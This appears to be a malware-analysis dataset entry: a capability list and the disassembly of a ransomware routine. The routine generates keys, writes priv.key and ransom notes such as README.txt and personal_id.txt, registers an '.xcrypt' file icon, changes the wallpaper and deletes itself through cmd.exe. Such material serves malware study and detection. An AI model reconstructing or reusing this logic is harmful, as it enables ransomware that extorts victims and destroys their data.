Function at 0x140013450
Capabilities:
Create process on windows
Execute command
Get common file path
Get session user name
Self delete
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push r15
mov eax, 0x2a18
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140004940
sub rsp, rax
mov qword [rsp + 0x2a68], rdx
call fcn.140003920
xor ecx, ecx
call sub.msvcrt.dll__time64
mov rbx, rax
call sub.msvcrt.dll_clock
lea ecx, [rax + rbx]
call sub.msvcrt.dll_srand
xor ecx, ecx
call fcn.140002cb0
test eax, eax
je 0x1400134b5
mov r14d, 1
mov eax, r14d
add rsp, 0x2a18
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea r15, [rsp + 0xb0]
lea rbx, [rsp + 0xd0]
call fcn.140002ec0
mov rsi, r15
nop dword [rax]
call sub.msvcrt.dll_rand
add rsi, 1
mov byte [rsi - 1], al
cmp rsi, rbx
jne 0x1400134d0
mov rcx, r15
lea rbp, [rsp + 0x110]
lea rsi, [rsp + 0x1210]
call fcn.140002810
lea rdx, [rsp + 0x78]
mov rcx, rbp
mov dword [rsp + 0x78], 0x101
mov byte [rax + 0x40], 0
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
lea rax, [rsp + 0x220]
xor ecx, ecx
mov r12, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov qword [rsp + 0x20], rax
call r12
mov rcx, rsi
mov r8, rbp
lea rdx, str._s_priv.key
call fcn.140001440
mov rcx, rsi
lea rdx, [0x140044107]
call sub.msvcrt.dll_fopen
mov rsi, rax
test rax, rax
je 0x140013575
mov r8, rdi
lea rdx, [0x140044504]
mov rcx, rax
call fcn.140001470
mov rcx, rsi
lea rbp, [rsp + 0x440]
lea rsi, [rsp + 0x550]
call sub.msvcrt.dll_fclose
lea r14, [rsp + 0x330]
lea rcx, str.color_07
call sub.msvcrt.dll_system
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 0x28
mov qword [rsp + 0x20], r14
lea r13, [rsp + 0x660]
call r12
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 0x1c
mov qword [rsp + 0x20], rbp
call r12
mov rdx, rbp
mov rcx, rsi
mov edi, eax
call sub.msvcrt.dll_strcpy
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov rcx, r13
movabs rdx, 0x617338323430615c
add rax, rsi
mov qword [rax], rdx
movabs rdx, 0x7478742e646173
mov qword [rax + 6], rdx
mov rdx, rbp
call sub.msvcrt.dll_strcpy
mov rcx, r13
call sub.msvcrt.dll_strlen
mov rcx, rsi
movabs rdx, 0x622e326b636f6c5c
add rax, r13
mov qword [rax], rdx
mov dword [rax + 7], 0x706d62
call fcn.140002d60
xor eax, eax
lea rdx, [rsp + 0x7c]
mov rcx, r14
mov dword [rsp + 0x7c], eax
call fcn.1400025d0
test edi, edi
js 0x140013c0e
xor esi, esi
lea rdx, [rsp + 0x80]
mov rcx, r14
mov dword [rsp + 0x80], esi
call fcn.1400029b0
cmp dword [rsp + 0x80], 0x32
jg 0x140013498
mov edx, 1
lea rcx, [0x140001510]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
test eax, eax
je 0x140013498
xor r11d, r11d
mov rdi, rbx
lea rsi, [rsp + 0xf0]
mov qword [rsp + 0x90], r11
mov qword [rsp + 0x98], r11
mov qword [rsp + 0xa0], r11
nop word [rax + rax]
call sub.msvcrt.dll_rand
add rdi, 1
mov byte [rdi - 1], al
cmp rdi, rsi
jne 0x1400136c0
movdqu xmm0, xmmword [rsp + 0xd0]
mov r8, r15
mov edx, 0x20
mov rcx, rdi
movdqu xmm1, xmmword [rsp + 0xe0]
lea r9, [rsp + 0x90]
movups xmmword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0x100], xmm1
call fcn.140001aa0
mov rcx, rbx
call fcn.140002810
mov rcx, rdi
call fcn.140002810
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_strlen
mov rcx, rsi
mov rdx, rax
call fcn.140002340
lea rcx, str.Do_not_close_this_window_or_your_data_might_get_corrupt._n
mov qword [0x14004c068], rax
call fcn.1400014a0
mov rsi, qword [0x14004c068]
mov rcx, rsi
call fcn.140002870
mov qword [0x140048040], rax
test rax, rax
je 0x140013c44
lea rsi, [rsp + 0x770]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
lea r15, [rsp + 0x990]
lea rdi, [rsp + 0xbb0]
call r12
mov rdx, rsi
lea r12, [rsp + 0xaa0]
mov dword [rsp + 0x6c], eax
lea rax, [rsp + 0x880]
mov rcx, rax
mov qword [rsp + 0x50], rax
call sub.msvcrt.dll_strcpy
mov rdx, rsi
mov rcx, r15
call sub.msvcrt.dll_strcpy
mov rdx, rsi
mov rcx, r12
call sub.msvcrt.dll_strcpy
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strcpy
lea rdx, [rsp + 0xcc0]
mov r10, rdx
mov rdx, rsi
mov rcx, r10
mov qword [rsp + 0x60], r10
call sub.msvcrt.dll_strcpy
lea rdx, [rsp + 0xdd0]
mov r11, rdx
mov rdx, rsi
lea rsi, [rsp + 0xee0]
mov rcx, r11
mov qword [rsp + 0x58], r11
call sub.msvcrt.dll_strcpy
mov rdx, rbp
mov rcx, rsi
call sub.msvcrt.dll_strcpy
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov rcx, qword [rsp + 0x50]
movabs rdx, 0x63692e6e6f63695c
add rax, rsi
mov qword [rax], rdx
mov word [rax + 8], 0x6f
call sub.msvcrt.dll_strlen
mov rdx, qword [rsp + 0x50]
mov rcx, r15
add rax, rdx
movabs rdx, 0x454d44414552215c
mov qword [rax], rdx
movabs rdx, 0x7478742e454d44
mov qword [rax + 5], rdx
call sub.msvcrt.dll_strlen
mov rcx, r12
movabs rdx, 0x2e7233786946585c
add rax, r15
mov qword [rax], rdx
mov dword [rax + 8], 0x657865
call sub.msvcrt.dll_strlen
mov rcx, rdi
movabs rdx, 0x706d622e67625c
mov qword [r12 + rax], rdx
call sub.msvcrt.dll_strlen
add rdi, rax
movabs rax, 0x6573656e6968635c
mov qword [rdi], rax
movabs rax, 0x7661772e657365
mov qword [rdi + 5], rax
mov rdi, qword [rsp + 0x60]
mov rcx, rdi
call sub.msvcrt.dll_strlen
movabs rdx, 0x74707972636e655c
movabs rcx, 0x73656c69665f6465
add rax, rdi
mov rdi, qword [rsp + 0x58]
mov qword [rax], rdx
movabs rdx, 0x7478742e73656c
mov qword [rax + 8], rcx
mov rcx, rdi
mov qword [rax + 0xd], rdx
call sub.msvcrt.dll_strlen
movabs rdx, 0x616e6f737265705c
movabs rcx, 0x7478742e64695f6c
add rax, rdi
mov qword [rax], rdx
lea rdx, [0x140044107]
mov qword [rax + 8], rcx
lea rcx, str.personal_id.txt
mov byte [rax + 0x10], 0
call sub.msvcrt.dll_fopen
mov r8, qword [0x140048040]
lea rdx, [0x140044504]
mov rdi, rax
mov rcx, rax
call fcn.140001470
mov rcx, rdi
call sub.msvcrt.dll_fclose
mov r8d, dword [rsp + 0x7c]
mov rdx, rbx
mov rcx, r14
call fcn.140001e20
mov r9d, dword [rsp + 0x6c]
test r9d, r9d
jne 0x140013c30
lea rcx, [0x1400445b0]
xor ebx, ebx
lea rdi, [0x14004a060]
call sub.msvcrt.dll_system
jmp 0x14001399f
mov rcx, qword [rdi + rbx*8]
add rbx, 1
call sub.msvcrt.dll_free
cmp dword [0x14004c060], ebx
jg 0x140013992
mov rcx, qword [0x140048040]
lea rbx, [0x140044095]
call sub.msvcrt.dll_free
mov rdx, rbx
mov rcx, rsi
call sub.msvcrt.dll_fopen
mov rdi, rax
test rax, rax
je 0x1400139eb
mov r9, rax
mov rax, qword [0x140045470]
mov rcx, qword [0x140045460]
mov edx, 1
mov r8d, dword [rax]
call sub.msvcrt.dll_fwrite
mov rcx, rdi
call sub.msvcrt.dll_fclose
mov rdx, rbx
mov rcx, r13
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140013a24
mov r9, rax
mov rax, qword [0x140045450]
mov rcx, qword [0x140045440]
mov edx, 1
mov r8d, dword [rax]
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fclose
xor r9d, r9d
xor r10d, r10d
xor r8d, r8d
lea rax, [rsp + 0x84]
mov qword [rsp + 0x30], r9
xor r9d, r9d
lea rdx, str.SoftwareClasses.xcryptDefaultIcon
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x88]
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r10d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140013498
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x20], rsi
xor r8d, r8d
xor edx, edx
add eax, 1
mov rcx, qword [rsp + 0x88]
mov r9d, 1
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x88]
mov r14d, eax
test eax, eax
jne 0x140013c51
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r12
lea rbx, [rsp + 0x1a10]
lea rdi, str.open
call fcn.1400031c0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3000
mov ecx, 0x8000000
lea r13, [rsp + 0xff0]
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov r9, r12
mov r8, r15
lea rdx, str._c_move_XFix3r.exe___s___move_bg.bmp___s___move__README.txt___s___move_personal_id.txt___s___move_encrypted_files.txt___s_
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
call fcn.140001440
mov r9, rbx
xor ecx, ecx
xor r8d, r8d
lea rbx, [rsp + 0x1100]
mov dword [rsp + 0x28], ecx
mov rdx, rdi
xor ecx, ecx
mov qword [rsp + 0x20], r8
mov rsi, qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r8, str.cmd.exe
call rsi
mov rdx, rbp
mov rcx, rbx
call sub.msvcrt.dll_strcpy
mov rcx, rbx
call sub.msvcrt.dll_strlen
xor r9d, r9d
mov rbp, qword [sym.imp.USER32.dll_SystemParametersInfoA]
mov r8, r13
movabs rdx, 0x68746170646c6f5c
add rax, rbx
movabs rcx, 0x78742e6c6c61775f
mov qword [rax], rdx
mov edx, 0x104
mov qword [rax + 8], rcx
mov ecx, 0x73
mov word [rax + 0x10], 0x74
call rbp
test eax, eax
jne 0x140013c5c
mov r8, r12
xor edx, edx
mov r9d, 2
mov ecx, 0x14
call rbp
mov rax, qword [rsp + 0x2a68]
mov r8, r15
lea rbx, [rsp + 0x1610]
mov rcx, rbx
lea rdx, str._c__start__s__del__s__exit_
mov r9, qword [rax]
call fcn.140001440
xor edx, edx
xor eax, eax
mov r9, rbx
mov qword [rsp + 0x20], rdx
lea r8, str.cmd.exe
mov rdx, rdi
xor ecx, ecx
mov dword [rsp + 0x28], eax
call rsi
jmp 0x14001349e
mov ecx, 2
call qword [fcn.1400130b0]
mov r8d, edi
lea rdx, str.Failed_to_get_profile_path._Error:__x_n
mov rcx, rax
call fcn.140001470
jmp 0x140013498
mov edx, r9d
lea rcx, str.Failed_to_get_Desktop_path__error__ld__n
call fcn.1400014a0
jmp 0x140013498
mov rcx, rsi
call sub.msvcrt.dll_free
jmp 0x140013498
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140013498
mov rcx, rbx
lea rdx, [0x140044107]
call sub.msvcrt.dll_fopen
mov r8, r13
lea rdx, [0x140044504]
mov rbx, rax
mov rcx, rax
call fcn.140001470
mov rcx, rbx
call sub.msvcrt.dll_fclose
jmp 0x140013bb4